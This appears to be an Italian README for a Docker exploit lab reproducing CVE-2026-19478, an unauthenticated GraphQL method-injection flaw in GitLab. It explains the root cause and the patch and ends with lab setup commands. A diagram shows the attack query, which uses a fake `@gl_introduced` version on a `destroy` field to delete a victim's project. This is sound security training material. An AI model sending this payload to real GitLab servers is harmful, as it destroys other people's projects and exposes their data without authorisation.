Laboratorio di exploit dockerizzato e script per CVE-2026-19478, una critica iniezione di codice GraphQL non autenticata in GitLab che consente chiamate arbitrarie a metodi Ruby, eliminazione di progetti ed esfiltrazione di dati.
Iniezione Remota di Codice Non Autenticata tramite Direttiva GraphQL in GitLab CE/EE — Elimina Qualsiasi Progetto Pubblico con una Singola Richiesta HTTP
Un laboratorio pratico di penetration testing che riproduce CVE-2026-19478, una vulnerabilità critica (CVSS 9.4) nell'API GraphQL di GitLab. La direttiva @gl_introduced consente ad attaccanti non autenticati di eseguire metodi Ruby arbitrari su oggetti lato server — inclusa l'eliminazione di progetti, l'esfiltrazione di dati e il trasferimento di proprietà — con zero autenticazione.
Questo laboratorio esegue un'istanza reale e vulnerabile di GitLab CE 19.2.0 in Docker per una pratica di sfruttamento realistica.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-19478 |
| Punteggio CVSS | 9.4 (Critico) |
| Prodotto | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Tipo di Vulnerabilità | Iniezione di Codice / Esecuzione Arbitraria di Metodi (CWE-94) |
| Vettore di Attacco | Rete (Remoto) |
| Autenticazione | Non richiesta |
| Interazione dell'Utente | Nessuna |
| Complessità dell'Attacco | Bassa |
| Versioni Interessate | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Versioni Corrette | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Scoperta da | hiimguardian (tramite HackerOne) |
| Data della Patch | 17 agosto 2026 |
Un attaccante remoto non autenticato può:
GitLab utilizza una direttiva GraphQL personalizzata @gl_introduced(version: "X.Y") per supportare i deployment progressivi. Quando una versione più recente di GitLab aggiunge un campo all'API GraphQL, le istanze più vecchie gestiscono le query che fanno riferimento a questi nuovi campi in modo elegante, restituendo null invece di un errore.
File: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Righe 14-36)
Analisi passo-passo:
FutureFieldFilter analizza le query GraphQL in ingresso. Quando un campo ha @gl_introduced(version) con una versione più recente del server corrente, rimuove il campo e imposta context[:contain_future_fields] = true.
IntroducedTracer ripristina il documento di query originale al momento dell'esecuzione, reinserendo i campi rimossi nell'AST.
FutureFieldFallback#get_field intercetta ogni ricerca di campo durante l'esecuzione. Verifica tre condizioni:
contain_future_fields è impostato? ✅__? ✅Quando tutti e tre i controlli vengono superati, sintetizza un nuovo GraphQL::Schema::Field senza classe resolver.
In graphql-ruby, un campo senza resolver viene risolto chiamando object.public_send(field_name) sull'oggetto Ruby sottostante — convertendo il nome del campo dell'attaccante in una chiamata di metodo arbitraria sul modello Project di ActiveRecord.
La patch di GitLab sostituisce l'invio implicito di metodi con un NilResolver esplicito che restituisce nil incondizionatamente, preservando la compatibilità con i deployment progressivi ed eliminando l'esecuzione arbitraria di metodi:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie per testare l'API# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh